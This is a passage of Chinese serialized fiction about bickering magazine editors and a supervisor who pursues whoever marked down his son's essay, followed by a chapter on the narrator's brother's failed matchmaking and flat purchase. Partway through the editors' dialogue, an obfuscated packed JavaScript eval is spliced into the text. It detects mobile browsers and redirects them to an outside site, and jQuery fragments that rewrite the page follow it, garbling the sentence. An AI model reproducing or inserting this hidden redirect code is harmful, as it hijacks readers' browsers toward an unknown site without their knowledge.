“王熙凤就算是个动物,她跟谁不跟谁也得遵从她个人的意愿吧。何况她是个人呢。她欢喜贾蓉,贾蓉怎样都行。她不欢喜贾瑞,贾瑞就是动动歪心思都不行。”吴编辑说。 “贾瑞又没有把她怎么样?她为什么对人家下那么狠的毒手?非得把贾瑞害死呢?”赵编辑说。 “贾瑞明知王熙凤是有夫之妇,还在路上拦截她。他趁着贾琏不在家,跑到王熙凤家里,想跟王熙凤成其好事。也太色胆包天了!他明知道王熙凤的手段,还敢去调戏人家,这不是舍命捋虎须吗?是他自己只想着风月,不顾惜自己的性命的。王熙凤跟贾蓉即使有一腿儿,那也是郎情妾意,各生欢喜。贾瑞不问问自己是什么臭德行,不想想王熙凤能不能看得上他,上来就去调戏。是他自己没有自知之明。荒淫误身。是他自己害了自己。”吴编辑说。 “那王熙凤再怎么讨厌贾瑞,也不至于对人家下那样的死手吧?又是大冬天让人家挨冻,又是往人家身上泼粪。”赵编辑说。 “对于一个自己根本就看不上甚至深为厌恶的淫棍,我觉得第一志愿就是弄死他,这是很多女人很正常的想法。很多女人遇到淫棍的调戏或是猥亵甚至冒犯,都选择了不对外宣扬甚至默默忍受了。这是她们出于无奈,没有办法。可是这个淫棍犯在王熙凤手里,我觉得王熙凤的做法实在是大快人心。贾瑞就是活该!”吴编辑说。 “贾瑞又没有动王熙凤一根毫毛。她就让人家死啊!这也太歹毒了吧?”赵编辑说。 “他是没有动到王熙凤的一根毫毛,那是因为王熙凤有手段有本事。要是那等没心没肺或是软弱无能的,说不定真的屈服于他了。这种人破坏别人家庭,还不是罪该万死。王熙凤这么泼辣的女人,他都敢动人家的歪心思,要是那些小门小户无权无势的女子,就贾瑞这样的,还不得仗势欺人,明抢良家妇女啊。王熙凤这叫为民除害。”吴编辑说。 这边厢的争论还在激烈地进行,那边,新的话题又出来了。 “哈哈哈哈!这篇稿子写的是刘兰芝,作者把焦仲卿给大骂了一顿。骂他是妈宝男。刘兰芝在他家的时候,他无力保护。等前来提亲的公子登破了门,他又哼哼唧唧地前来卖惨,最后拉着刘兰芝一起殉情。该死!”刘编辑说。 “刘兰芝一个二婚头,还嫁地那么好。一会儿是县太爷的儿子来求婚,一会儿又有郡守的儿子来提亲。”郝跃说。 “你怎么说刘兰芝是二婚头的?跟谁学的?”刘编辑说。 “我婆婆说的。我公公他弟弟家的女儿离婚了,后来又找了一个。我婆婆经常说她‘二婚头’。我也跟着学会了。”郝跃说。 “你公公婆婆嘴真毒。你公公说你‘药篓子’,你婆婆说人家‘二婚头’。”刘编辑说。 “唉!我还不如人家‘二婚头’呢。我的身体一天不如一天了。我要是离婚了,未必有人肯要我。”郝跃说。 “喂!问一下哈。这篇稿子提到了苏轼《后赤壁赋》里的仙鹤,说仙鹤‘玄裳缟衣’。谁知道‘玄裳缟衣’是什么意思啊?”杨编辑说。 “‘玄’是黑色,‘裳’是裙子。‘缟’是白色。‘玄裳缟衣’就是白衣黑裙的意思。”梁编辑说。 “‘缟衣’是指它的白色羽毛,这个我能明白。‘玄裳’是什么意思啊?为什么是黑裙呢?哦,我知道了,它的下面是黑毛啊!”吴编辑恍然大悟地说。 周围的人哈哈大笑了起来!大家笑地东倒西歪,吴编辑自己也哈哈大笑,大家连眼泪都笑出来了。 “吴编辑,你怎么能说这些虎狼之词啊!”徐编辑说。 大家又是哄堂大笑。 “你看,你不说这句点睛之笔反而好了,就是你说了这句点睛之笔,大家反而笑地更厉害了。再说了,我就是客观地陈述,我又没有那个意思。”吴编辑说。 “吴编辑的经是好经,被老徐这个歪嘴和尚给念瞎了。” 乌编辑说。 老向说:“我们做编辑的,天天跟文字打交道。这个没办法。上次一个实习生,捧着老舍的《茶馆》问我,那个字念什么。我不知道该怎么回答他。” “哪个字?”王编辑问他。 “就是上面一个‘尸’,下面一个‘吊’。”老向说。 “回家问你爸爸!”我说。 “哈哈哈哈!”《小坛》的人又是一阵哄堂大笑。 “绝妙好对!”王编辑说。 这边厢,《小坛》的人讨论地热烈红火,那边厢,《且戒》的人早就已经开始安安静静地审稿子了。 《小坛》的人是青提区编辑届的龙头老大,持续不断地讨论原也是必然的应该的。 我把一张抽纸卷一下撕成两截,塞在耳朵里,开始审我的稿子。活儿是肯定要干的,而且就那么点时间。 我一口气审了很多稿子。旁边的曹编辑也默无声息地开始了。 “哎呀,都快九点了,开始审稿子吧。上午时间短,干不了多少活儿。”刘编辑说。 “大省审了多少了?”郝跃走到我身后看了一眼,“啊?大省都审了50份了?” “大省是快手!我要跟大省换换位置,大省来我这儿坐会儿。帮我审审!”刘编辑说。 “哎哟,我还没开始呢。时间怎么过得那么快啊?”郝跃说。 大家稍微安静了一会儿。不一会儿,讨论声又开始了。 指导员许编辑转来转去,跟我身边的女编辑说着话。 “听说,团山那里又新办了一家杂志社,叫《喵一生》。主要是发关于猫的刊物的?”刘编辑问许编辑。 “嗯。”许编辑说。 “这是给爱猫人士提供的福利啊。是谁出地这么好的主意?”潘编辑说。 “肯定是哪个天才想到的啊。”许编辑说,“他们不仅写关于猫的文章,还搞了一批人专门养猫。他们自己养猫,自己拍照、做图片。来供他们《喵一生》杂志社专刊专用。” “真是知行合一!他们是怎么想地到的?能想到这种点子的人真是天下奇才。”潘编辑说。 “现在各单位不是都提倡搞特色文化嘛。这就是人家的特色。你可不要小瞧人家《喵一生》。人家光买猫、创建喂养室就投资了一百多万。你们去过《喵一生》的喂养室吗?”许编辑说。 “没有。你去过?”刘编辑问他。 “我当然去过。人家养猫可不是一般的养猫。人家给猫做训练,听音乐,做心理安抚。里面还有红外线杀菌,外墙上还有猫的历史、来源,名称演变。以及青提区历来那些爱猫的名人。古代青提区有一个侯爷就爱养猫。他爱猫如命。”许编辑说。 “你是什么时候去的?”潘编辑问他。 “他们的养猫室一建好我就去了。那些猫特别有意思,我一拿手机去逗它,它就跳起来抓我的手机呢。”许编辑说。 “真有意思。说的我也想去参观参观了。”潘编辑说。 “你们都可以去啊。那里一进门儿就有一个古色古香的茶桌,还有几个坐的蒲团。很有禅意的。”许编辑说。 “哦,去参观完还可以在那里小憩一下。”刘编辑说。 “嗯。人家请了专门的设计师来设计的。”许编辑说。 我听了许编辑跟她们几个编辑说话,既觉得新鲜,又觉得烦乱。因为我有些审不动稿件了。审稿毕竟是靠脑力的。可是,人家有资格的编辑讲话,我哪里敢阻挠呢?更何况,还是我们的指导员许编辑亲自跟那几个女编辑讲话呢? 我这样没资格也没见识的当然插不上嘴,我就盯着我自己的电脑屏幕,能看几行是几行吧。 “大家都审地怎么样了?速度要上来啊。早审完早走。”许编辑转悠到他的电脑那里,哈腰看看说。 我看到了一篇不错的稿子,被那稿子第一行的文字吸引了。 “青石板上的坑坑洼洼里,有我的脚印两行。我的歪歪扭扭的脚印尽头,是故乡。” 我停下了鼠标,目光定格在这篇文稿上。我不知道作者是谁。但我想给他评个高分。我打出了60分的高分。 “就这样的书法也能得60?”许编辑抱着膀子站在我身后笑着说。 我没吭声儿。我滑动手里的鼠标,再打量一下这篇文章。的确,书法不是特别好,但也清晰圆润,不影响整体卷面的美观大方。我看一篇文章,除了书法,更关注他的文采。 我打了60分。许编辑有意见。怎么办?迫于许编辑的威严,改成一个稍微低一点的分数?可是如果这样,我说服不了自己啊。 幸好,许编辑走开了。我犹豫了一下,决定还是维持原来的60分的评判。没有作出改变。 这一篇结束了,我继续审我的稿件。 “《且戒》的稿件量有点大。”许编辑说。 “要支援吗?许编辑?要支援的话让大省去!”坐在我左手边的潘编辑像是一个接到命令的班长一样,当仁不让地跟许编辑说。 “暂时不用。目前进展还行。”许编辑说。 我不吭声儿。如果潘编辑让我去,我还真得去。谁让我资历不如人家呢。我的确是前怕狼后怕虎啊。 午饭后,有人回家休息去了。机房里,有人躺在拼接的板凳上睡觉,有人在审稿。我当然是继续审稿。《且戒》的人也全在审稿。 快到两点的时候,《小坛》的编辑们陆陆续续地到了。 我自己的审完了,就跟梁编辑说:“梁编辑,我的审完了。” 梁编辑说:“你的全部结束了?那么快?” 我说:“是的。屏幕显示没有审稿任务了。” 梁编辑说:“大省做事就是快。” 旁边的乌编辑说:“大省历来就是快手。” 梁编辑说:“大省特别会抓关键词。到底是年轻,脑子反应快。” 我说:“也不是。我是能静地下心来。” 梁编辑说:“你审完了。那你帮郝跃审吧。她的还多着呢。我给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137809|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个账号,你登录一下。” 我说:“好的。” 我登录了郝跃的账号,又开始帮她审。 “谢谢啊!”郝跃说,“我每次都审地很慢。拖后腿儿。” 我说:“你是看地仔细。你太认真负责了。” 刘编辑说:“没有必要看地太仔细。否则几天都审不完。郝跃每次都是审地最慢。” 下午三点钟,《且戒》的人相继审完稿子,陆陆续续地走了。《小坛》的人还在安安静静地审着。 “头好昏啊。眼都花了。”梁编辑说。 “是的,眼都花了。看不动了。”乌编辑说。 我把分派给我的稿件又审完了。 我跟梁编辑说:“梁编辑,刚才分配给我的任务结束了。” 梁编辑说:“真是个快手。那你再换个账号帮乌编辑审吧。” 我说:“好。” 不一会儿,刘编辑审完了。 她跟许编辑说:“许编辑,我审完了,我回家带娃去了啊!” 许编辑说:“好!你走吧!” 我还在继续审稿。 又过了一会儿,吴编辑说:“许编辑,我的也审完了,我走了啊。” 许编辑说:“好!你走吧!” 我还在审稿。 过了一会儿,许编辑跟乌编辑说:“乌编辑,你的快结束了,你结束以后就走吧。你辛苦啦!” 乌编辑说:“好!我的颈椎病又犯了。头疼!” 我还在审稿子。我审完自己的,又帮别人审。账号换了一个又一个。我集中精力地审稿子,大脑高速运转,精力消耗过度,到现在也是头脑昏昏,头疼欲裂。我也想跟许指导说一句“我走了!我的早就审完了!”可是我不敢说。我没资历没资格。许指导也知道我早就审完了,他让这个走,让那个走,就是不说让我走。感情人生来是平等的,但是在世人的眼光里注定是不平等的。 没走的几个人熬到最后,熬到晚上七点。终于结束了。 梁编辑说:“大家辛苦了。这么晚了,我们一起去喝碗羊汤去吧。” 我们附和说:“好的。太累了,都要走不动了。给羊汤喝也张不开嘴了!” 人的体能毕竟是无限的,大家嘻嘻哈哈地带着各自的东西走开了。 几天以后,组里开会。市指导员袁编辑坐阵。 “我给大家读一篇文章。”袁编辑打开电脑说,“题目叫《梦里故乡》。” 这不是我审过的那篇稿子吗?我太熟悉不过了。 “青石板上的坑坑洼洼里,有我的脚印两行。” 袁编辑读了一句,停下来问大家:“各位编辑,写地好不好?” “好!”大家点点头。 “我的歪歪扭扭的脚印尽头,是故乡。” 袁指导又读了一句,又停下来问大家:“好不好?有没有文采?!” 大家跟着袁指导的节奏,振作精神说:“好!确实好!” “这是我儿子写的一篇文章!”袁编辑说。 “这么好的文章,应该判60分!”许编辑说。 “可是《小坛》的一个编辑给他判了45分!”袁编辑痛心地说,“这儿子来说,是个沉重的打击!” “我不是袒护我儿子!我跟我夫人都是文学编辑。我们在我儿子很小的时候就开始培养他的阅读水平和写作能力。他上了高中,没时间阅读了,怎么办?我跟他妈妈就把一些优美的文句剪下来,贴在他洗脸池上的镜框上。他洗脸的时候看一看!他几乎每次作文都是60分!”袁编辑说。 我们大家都不吭声儿。 袁编辑说:“这件事情对儿子的打击很大!儿子早几年上了大学,是九八五!这是他第一次投稿!就被你们给否定了!” 我们大家都屏住呼吸。不说话。 “好在有一位编辑,宋大省编辑,哪位?” 我说:“是我。” 他说:“谢谢!好在这次文稿是双评。宋编辑给了他60分。我告诉儿子,你看,还是有人欣赏你、肯定你的!” 许编辑满意地看了我一眼。 “打45分的编辑是谁?”袁编辑伸长了脖子问。他的酱色的脸颊和伸地长长的脖子使他看起来像一条恐龙一样。 没有人吭声儿。 “打分的编辑就是《小坛》的。我后台可以看的到。是谁打的45分,我会后再找你谈话!”袁编辑说。 “儿子第一次向《小坛》投稿,他写地很用心,写地很不容易啊!他还参考了我的意见。我跟他妈妈都给了他很多指导!外举不避仇,内举不避亲。我不是偏袒他。好的文章就是好,你不能胡乱给个低分就算了啊。好的文章你就给个高分肯定一下嘛?你给哎!你怎么不给啊!45分!你这是草菅人命啊!我说地对不对?许编辑?” “对对对!”许编辑说。袁编辑的肤色有些黑红,许指导脸上的肤色比他还要黑一些。 “有的编辑就是喜欢否定别人的文章,来显示自己的水平。真不知道这是怎样一种变态的心理!”许编辑痛心疾首地说。 “好!我的发言就到这里。你们继续!我还要去找黄社长说点事儿,我就先告辞了!”袁编辑拎起他的电脑包走了。 袁编辑走了以后,大家都有些惶恐不安。 “袁编辑说的那个低分是谁打的啊?”吴编辑说,“别是我吧,这谁记得啊!” “我怀疑是我!”刘编辑说,“谁知道那是他儿子写的啊!” “审稿子都是盲审。打分高低也是智者见智仁者见仁。他还跑来找后账。到底是谁不对?”梁编辑说,“《小坛》又不是他家的。搞得跟他家的私家专刊是的。” “是的。他儿子的稿子被打了低分,他居然还跑来找后账。太没格局了。”乌编辑说。 “大省怎么那么巧,给他儿子打了高分的?你是不是事先知道是他儿子啊。”梁编辑说。 大家都笑了。 “这个大省还真不知道。”潘编辑说。 “谁知道啊?”吴编辑说,“他以后想让人家采纳他儿子的稿子,直接事先跟大家说一声好了!他儿子的稿件是某篇某篇,题目是某某某。大家直接看都不用看,直接给他儿子打个高分就得了。省得人家打分不合他的意,他事后再来跟人家算账。” 36. 我弟弟的婚事——梅儿 1.“好白菜被猪拱了” 又到了过年的时候,我跟我弟弟一起回家。 那时候还是早五更,路上,玻璃起雾了。我弟弟一手扶着方向盘,一手拿起抹布,站起身去擦玻璃,他“哧哧”地擦着玻璃,车子“哐当哐当”地摇晃着,一头朝路边的马路牙子上撞去。 我说:“小弟,你好好开车啊!你要是想擦玻璃,跟我说一声,我来擦。” 我弟弟笑着说:“没事儿!我车上放了一本《金刚经》,可以保佑我的!” 我说:“天黑,你好好开车!《金刚经》那么厚,不遮挡视线啊?” 我弟弟说:“没事儿。” 我弟弟又开了一段路,我远远地看到,前面是一个桥洞,桥洞前面竖着几个红黄纹路的警示柱子。虽然是黑天,但是在微弱的灯光下,也可以看得清楚。谁承想,我弟弟的车又一头朝着那红黄柱子撞过去。幸好他及时调转车头,才勉强没有撞上去。 我说:“天呢,我以后可不敢坐你的车了。惊心动魄的。” 我弟弟又笑了笑:“这算什么,我都习惯了。” 我说:“小弟,你现在还在厂里干吗?” 我弟弟说:“我早就不在厂里干了,我十五万买了辆冷链车,跟着人家送货。” 我说:“你怎么那么大手笔的?花了十五万?” 我弟弟说:“你要是想挣钱,肯定要先投资哎。” 我说:“开冷链车辛苦吧?” 他说:“嗯,我都是四点就起来,有时候刮大风,我开车开到大桥上,那风大的,都要把我的车给刮跑了。” 我说:“你都是跑长途吗?” 他说:“周边儿的这几个城市,我都经常去。苏州这边交通管地严,天天被贴罚单,一个月光罚单就两千,我都被罚晕了。” 我说:“长时间开车容易疲劳,也没人跟你一块儿说说话儿,你得注意休息。” 我弟弟说:“嗯,开车累了,我都是照着自己的脸扇。有时候晕晕乎乎地开,也没事儿。” 我弟弟的车驶入了一个村庄的街道上,路右边,有人在杀牛,一头大牛躺在地上,周围围了好几个人。我别过头去看人家杀牛,我弟弟也停下来看人家杀牛。我们看了看,我弟弟继续往前开。只听他喊了一声:“哎哎哎!红灯!” 我抬头一看,果然是红灯。 “刚才光顾着看人杀牛去了,差点闯红灯了!”我弟弟笑着说。 到家了。晚饭后,我们都闲着没事儿。弟弟在院子里点起了一炷香,嘴里呜哩哇啦地念起来。 我说:“你念的什么啊?” “别吱声儿!”他说。他又继续念他的。 我知道,他是觉得这一路上阴气重,招惹了不少阴鬼。他这是念经来驱散那些一路跟着他的汽车一道儿来的阴鬼呢。我不以为然,我觉得他的思想被封建迷信给毒害了。可是我又不便去说服他更不便去阻挠他。我只好鄙视地囊囊鼻子走开了。 年三十儿下午,我照例又要出去住。我弟弟说:“我今年要躲春,我也到镇上住。”我妈妈说:“鸿雁要躲三个春。不能在家过年。恁姊妹俩正好一块儿去青羊山找地方住。你就说躲春的,人家有年纪的都懂。鸿雁还得找个石桥拜干娘。” 我也乐得我弟弟跟我一块儿出去,我就跟他一起到了镇里。我们还是去的那家祥盛宾馆。我们来到柜台前,要了两个房间。我付了钱,跟我弟弟一块儿上了楼,我住南边的一间,他住北面的一间,姊妹俩中间正好隔着一条走廊,互相做个伴儿。我们放下东西,跟我弟弟一起到旁边超市里买了泡面、酸辣粉,还有一些零食,一人一份儿。我弟弟提着东西去他的房间里了。我跟他说:“小弟,你把门插好,看看电视,有事儿打电话哈。”他说:“行!”我也回到自己的房间,收拾收拾,坐着看电视。 第二天,一大早,我起来以后,去我弟弟房间找他。他不在。我给他打电话。他说:“我在外头,马上就回来!”没多久,他“咚咚咚”地跑上楼来了。 “我清起去找了个石桥拜了干娘。磕了三个头。你去吧?我带你去。”他跟我说。我想着青羊山那些盖着稻草的破败的石灰桥,旁边是来来往往的拖拉机。我说:“我不去。那么多人,过来过去的。我回头自己找个石桥拜拜。” 大年初二的时候,我妈妈就带着我弟弟四处相亲去了。当天就定了一个。我妈妈跟我弟弟皆大欢喜。 我妈妈说:“鸿雁啊,你怎么恁么大方的,让你去买糖块儿,你就买了四百块钱的糖块儿啊?” 我弟弟说:“嗯,不是有好几个媒人嘛,给她们分分。给那个小女孩儿家也带了一份。” 晚上,吃饭的时候,我弟弟一手端着碗,一手拿着手机跟那个小姑娘发信息。他面色庄重,好像是在加班处理公务一般。我们都不吭声儿,屋里的空气凝重而肃静。我妈妈端着饭碗带着对胜利的憧憬庄严地看着他。 要是我边吃饭边发信息,我妈妈早就嗤之以鼻了。只有我弟弟这样,她才不会嫌弃。更遑论他是在跟相亲的女子发信息了。这种关乎我家美好前景的大事,我妈妈是在心里为他默默祈祷的。 在我家,在我妈妈的眼里,若是看见闺女跟闺女婿搂搂抱抱,她便觉得恶心,觉得伤风败俗,丢门败户。若是看见儿子跟儿媳妇勾勾搭搭,她便觉得可喜可贺,喜上眉梢。 我看着我弟弟郑重其事的样子,心里还是为他捏把汗。毕竟,相亲还看看人才,恋爱、结婚,都要实力。我弟弟一无房,二无工作,三无家境,他拿什么去征服相亲市场上炙手可热的女性。 我弟弟还是热火朝天地跟对方那个女孩子聊着。我妈妈也跟着满面春风。 第二天,是大年初三。我弟弟说:“我听说最近情况严重,要封路了。咱赶紧走吧。” 我还不太想走,就说:“有那么严重吗?今天才大年初三,我还想搁家多过几天呢。” 我弟弟说:“快走吧,要不走不了了。我刚才搁大队部清水大爷那里买了几包口罩,给你两包。路上别有查口罩的。” 我说:“好的,谢谢。现在口罩那么难买。你还舍得给我两包。” 我临走的时候,我妈妈追着我说:“你省俭着花钱,多吃点油,填饱肚子就行!有钱自己攒着,不要给人家。不要给恁小妹,也不要给俺!你给人家好给,想要回来可就不容易了。我对你说哈!” 我嘴里说着:“知道了。”等我回到我工作的地方以后,心里想着我妈妈的生活,花钱的时候,也确实会收敛很多。但是,慢慢地,过段日子,又放开了。那时候,我还没有孩子,我还不知道等我有了孩子,我才真正知道要省俭了。 天快亮了,我弟弟偷空儿跟那个女孩子发了信息。路上,我弟弟时不时低头看看手机,可是那女孩子始终没有回复。我理解他此刻的心情,就问他说:“小女孩儿还没回啊?可能还没起来吧。人家都不像咱家,早起早睡。咱们今天回去,起得早。等到她起来了,就会回你的。” 我弟弟说:“是的。再等等吧。” 接下来的路上,我弟弟边开车,边心急火燎地看看自己的手机,时不时拿起来看看,可是还是没有那女孩子的回信。我弟弟的心里肯定非常煎熬。 过转盘路的时候,他一手开车,一手拿起了手机,一面掌着方向盘,一面低头看手机。 我说:“小弟!你好好开车!安全第一!”我弟弟又魂不守舍地把手机放下了。 我说:“无论怎样,安全第一啊。”他心不甘情不愿地答应了一下。 我说:“你的心情我能理解,但是无论怎样,你都要好好开车。我感觉坐你的车都得冒着生命危险,我以后可不敢坐你的车了。” 我弟弟听了我的话,又振作精神,继续开车。 又过了一会儿,我弟弟低头看了一下手机,跟我说:“她生气了。不理我了。” 我说:“怎么说生气就生气了?你怎么得罪她了?” 我弟弟说:“我不知道哦。” 我说:“你跟她聊天,都说什么了?” 我弟弟说:“我没说什么啊?” 我说:“现在的小女孩儿都娇气,你跟她们说话可要注意。” 我弟弟怔怔地说:“生气就生气吧。” 我看着我弟弟苍白的脸,我知道,他刚刚抓住的救命的稻草就这样瞬间打了水漂。我知道在我们这样贫寒的家庭,他的内心是很渴望爱情的。任何一个他还看得过去的女孩子跟他谈,他都会掏心掏肺地对人家好。可是,因为家境不富裕,女孩子对他的言行就有了太多的挑剔。即使是暂时看上他的人,也会因为他拿不出手的家境而对他始乱终弃。 到了我家,我跟我弟弟说:“你回去还没开班,你自己也要做饭。你就在我这里住下吧。你住小房间。我买点菜,咱们一起吃。省得你自己回去还是得做饭。” 我弟弟说:“好吧。” 我说:“你赶紧跟媒人打电话,问问媒人,是怎么回事儿。” 我弟弟说:“行。” 我弟弟给媒人打了电话,媒人上来就把我弟弟臭骂了一顿。 “你太不会说话了!哪有那样说话的?”媒人没好气地跟我弟弟说。 我弟弟一头雾水,他呆呆地问媒人:“是怎么回事儿啊,我说了什么了?” “你跟人家小姑娘说的,人家小姑娘是白菜,你是猪。人家这棵好白菜,被你这头猪给拱了!” 我弟弟说:“哦,那个小女孩生气了?” 媒人说:“人家肯定生气,谁不生气啊?你跟人说这话!这不是耍流氓吗?人家小女孩儿她爹还给我打电话来了,怪我给她介绍的都是什么人啊?!” 三头对证,我弟弟呆了,无话可说了。 我问他:“你说了她什么啊?” 我弟弟失神地说:“我就说,她是白菜,我是猪,她这棵好白菜被我这头猪给拱了。” 我说:“这话你以后不要跟人家小女孩说了,你跟人家刚认识,说这话确实不好。不过,她既然因为一句话的事儿就不理你了,说明她本来就对你不怎么满意。否则,她不会拿这句话那么在意的。在社会上,本来就有好白菜被猪拱了这句话。这本来就是一句调侃的话。她要是真喜欢你,这话也没有错到天上去。你给她赔礼道歉,她也就不生气了。说到底,咱家要是有钱的话,她可能就没有那么生气了。你也不要太怪自己。回我跟咱妈妈说说,让她不要怪你。这个小女孩脾气也有点矫情了,以后跟你闹掰是早晚的事儿。早结束了早好。也没什么。” 我弟弟说:“姐,我马上回我那里了。” 我说:“你不在我这里歇歇吗?” 我弟弟说:“不歇了。赶路要紧。别封路了。” 我说:“那行吧,你路上开车慢点,注意安全。” 我弟弟说:“行!” 晚上,我估摸着我弟弟已经到了,就给他发信息:“弟弟,你到了吗?吃饭了吗?” 我弟弟说:“正在吃着呢。” 第二天早上,我又给他发信息:“小弟,你起来了吗?你自己去买点菜,好好吃顿饭,吃好一点。” 他发了语音:“我在路上呢?我又回山东了!” 我说:“你怎么又回去了?” 他说:“咱大姨跟咱妈,非要我回去相亲!” 我说:“我的妈!现在不是尽量少出门吗?不是怕封路吗?你怎么敢出远门的?” 我弟弟说:“我也不想去啊。我跟咱妈左说右说,她就是不听,咱大姨也不听,非让我回去相亲。” 我说:“弄得什么事儿这是!现在是相亲重要,还是健康重要啊?咱妈咱大姨她们是不知道吗?” 我弟弟无奈地说:“我也是实在不想去。我就是怕封路才回来的。结果,没过两天,又让我回去。” 我说:“去山东那么远,要是封路怎么办?” 我弟弟说:“要是封路就只能再回来了。” 我说:“开车那么累,那是闹着玩儿的啊?她们都不为你想想?你开一天的车多累啊。” 我焦急地等着。到了下午的时候,我问我弟弟:“你现在怎么样了?到山东了吗?” 我弟弟说:“到了,封路了,我现在准备回去。” 我说:“天呢,你还得在路上开多久啊?这得多累啊?她们这回没话说了吧,谁去替你挨这个累啊。她们是一点都不知道开车有多辛苦,她们是一点都不体贴你啊。” 我弟弟说:“我怎么说都不行,这回,她们没话说了。不这样,她们不能拉倒。” 我说:“咱妈跟咱大姨,真是太不顾你的安全了。开个单趟都够累的了。还得再返回来,真是太拿人不当人了。回我说说咱妈。你回来小心点啊。” 我弟弟说:“行!” 我立马打电话给我妈妈。我说:“妈妈!鸿雁现在又从山东开车回来了,山东封路了。现在开车出去不保险,你怎么还让他去相亲的?” 我妈妈说:“我也不敢说什么啊,恁大姨让他去的。她说的,趁着人家小姑娘现在都在家里。让他去看看。万一有合适的呢,要是不去看看,不就错过了吗?” 我说:“现在人身健康安全最重要。还相什么亲啊?哪个小姑娘,连健康都不要了,还跑去相亲啊?你以后别让鸿雁这样来回折腾了。他开车跑过去再跑回来,辛苦吧?累吧?他现在还在开车呢!” 我妈妈说:“行。” 我一直靠着床头躺着,看着手机,等我弟弟。 夜里十一点了。我发信息问我弟弟:“小弟,你到了吗?” 我弟弟发语音过来说:“到了,弄点吃吃。还没吃饭呢。”他又发了一张照片给我。 我看了看那照片,狭窄的出租屋的地上放着一个小锅,锅里是大白菜炖猪肉。我心里一阵难过。 我说:“你回来我就放心了。我马上睡觉了。你吃完饭也好好休息吧,小弟。以后注意了,自己的安全最重要。谁说什么都别管。” 我弟弟发过来两个竖起的食指和中指:OK。 2.我弟弟买房子 这年夏天,我回家的时候,我弟弟终于决定买房子了。我跟着他一起去县里看房子。 他之前自己看上了一套房子,八九十平,大概六十几万。我妈妈这几年给他积攒的钱,加上他自己手里的一些积蓄,刚好凑够首付,其他的,还要贷款。 我们坐车来到了县里。下车以后,我弟弟带着我到了一个叫做“新城花园”的小区。那是一个很大的小区,院子里绿化很好,路两边种了很多石榴树,夏天,石榴树上结了很多石榴,跟青苹果似的。我们上了二楼,来到了我弟弟相中的房子里。那是一套二手房,里面是普通的两居室,看起来还算干净整洁。 我们一路走到了他选的那家房产中介。“宝德”房产中介。 中介的女人有三十多岁,穿着白色的短袖衬衫和黑色的西裤,扎着丸子头。 她温和地跟我弟弟说:“鸿雁,我约了房子的主人,你要是没什么问题的话,今天就准备签字了。” 我弟弟说:“行。” 房子的主人来了,那是一个中年女人,穿着粉红色碎花的裙子,扎着马尾辫,皮肤白皙,面庞和善、秀丽,身材保持的也很不错。 “鸿雁,你决定了吗?今天可以签字了吗?”中介的女人问他。 “我又有点犹豫了。”我弟弟面色凝重地说。 “你觉得哪里不合适啊?”中介问他。 “我觉得有点青龙压白虎呢。”我弟弟法相庄严地说。 他这一说,我也彻底不懂了。谁像他一样,还懂风水啊。 房子的女主人听了他的话,也不太高兴了。但是她还是很淡定,像个菩萨一样坐着。 “你看,我今天还要上班。听说他要定下了,特意请了假过来的。我平时哪有时间来啊。医院里那么忙。”女主人说。 女中介说:“大姐是医生,确实蛮忙的。鸿雁,你说的青龙压白虎,我也注意到了。要不,咱们出来说吧。” 我跟我弟弟一起跟着女中介出来了,我们来到了中介所旁边的空巷子里。夏天,巷子里很空阔,也很热,空气里飘过来一些尿素的味道。 “鸿雁,你说的那事儿,确实有。但这个不是什么大事儿,找人破一下就行了。你看上的这个房子,跟其他的房子比,性价比还是很高的。你说呢?”女中介耐心又诚恳地跟我弟弟说着。 这时候,中介的老板也跟着出来了。 “怎么回事儿啊,大哥?你要是实在不喜欢呢,我们再给你介绍其他的房子。”那个帅帅的事业有成的年轻的男老板也诚恳地说。 “喜欢是喜欢,就是觉得风水有点不行。”我弟弟说。我一脸茫然地听着,到这时候,我才知道,我其实什么忙都帮不上。我什么也不懂。 “我跟你说,鸿雁,房子是给自己住的。主要是自己要喜欢。其他的都不是事儿。”女中介跟他说,“不行,我们再进去跟那个大姐说说?” 我弟弟说:“行吧。” 我们又进去了。房子的女主人还是端庄地坐在那里。我对她很有好感。 “大姐,鸿雁说了,还是决定选你的房子。这都是缘分。”女中介说。 “我也觉得是缘分。这几天,有其他人给我打电话要来看房,我都回绝了。不知道为什么,我就觉得,这房子应该卖给鸿雁呢!”房子的女主人说。 “恁家其他地方还有房子哈?”女中介问她。 “是的。我们在世纪花园还有房子。这不是俺大女儿考上市里的护士了吗?她爸爸要把这套房子卖了,给她在市里买套房子。”女主人笑语盈盈地说。 “大哥蛮宠爱女儿的。”女中介说。 “是的。他跟俺儿子说的,你结婚,我也给你一套房子。不能都给你。我还要给恁姐再准备点儿。”女主人说。 接下来,就是忙着跑贷款了。女中介带着我们到处跑着办理。 “接下来,你要去打印最近六个月的工资流水。”中介跟我弟弟说。 “六个月的流水?”我弟弟问道,“我没有呢!” 我的心一下子紧张了起来,毫不容易买了一套房子,我就怕他中间出什么差错,可别因为这个,不能买房子了吧? 女中介说:“你没有流水,也没事儿,我托人帮你办,就是你得出五百块钱。” 我一听,觉得这个可以,我弟弟也立马说:“可以。” 就这样,我弟弟的一套房子终于买好了。 我跟我弟弟走着去公交站台,准备回家了。路上,我问我弟弟:“小弟,接下来你打算干什么啊?” 他说:“现在,冷链车不能开了。我打算进厂,找个工作。” 我说:“哦,那车可是你花了十五万买的啊,说不开就不开了啊?” 我弟弟说:“那也没有办法啊。我那车还是贷款买的呢。我第一年确实把本儿挣过来了。要是继续开,还是可以挣钱的。现在冷链车不是不能开了吗?” 我说:“你说说,心疼吧。好好的十五万打水漂了。你要是当初不买这个车呢。这笔钱搁在手里多好。都可以攒个首付了。” 我弟弟说:“谁也想不到啊。” 我说:“这也是的。那你那车怎么办,你还开回家吗?” 他说:“不开回家了。就放那吧。开回家放哪?” 我说:“那你不要了啊?不把它开回来了啊?” 他说:“放那吧,不要了。有地方放就不错了。开回来怎么办,没地方放,卖废铁都没人要。” 我说:“你说你当时怎么想起来买冷链车的?” 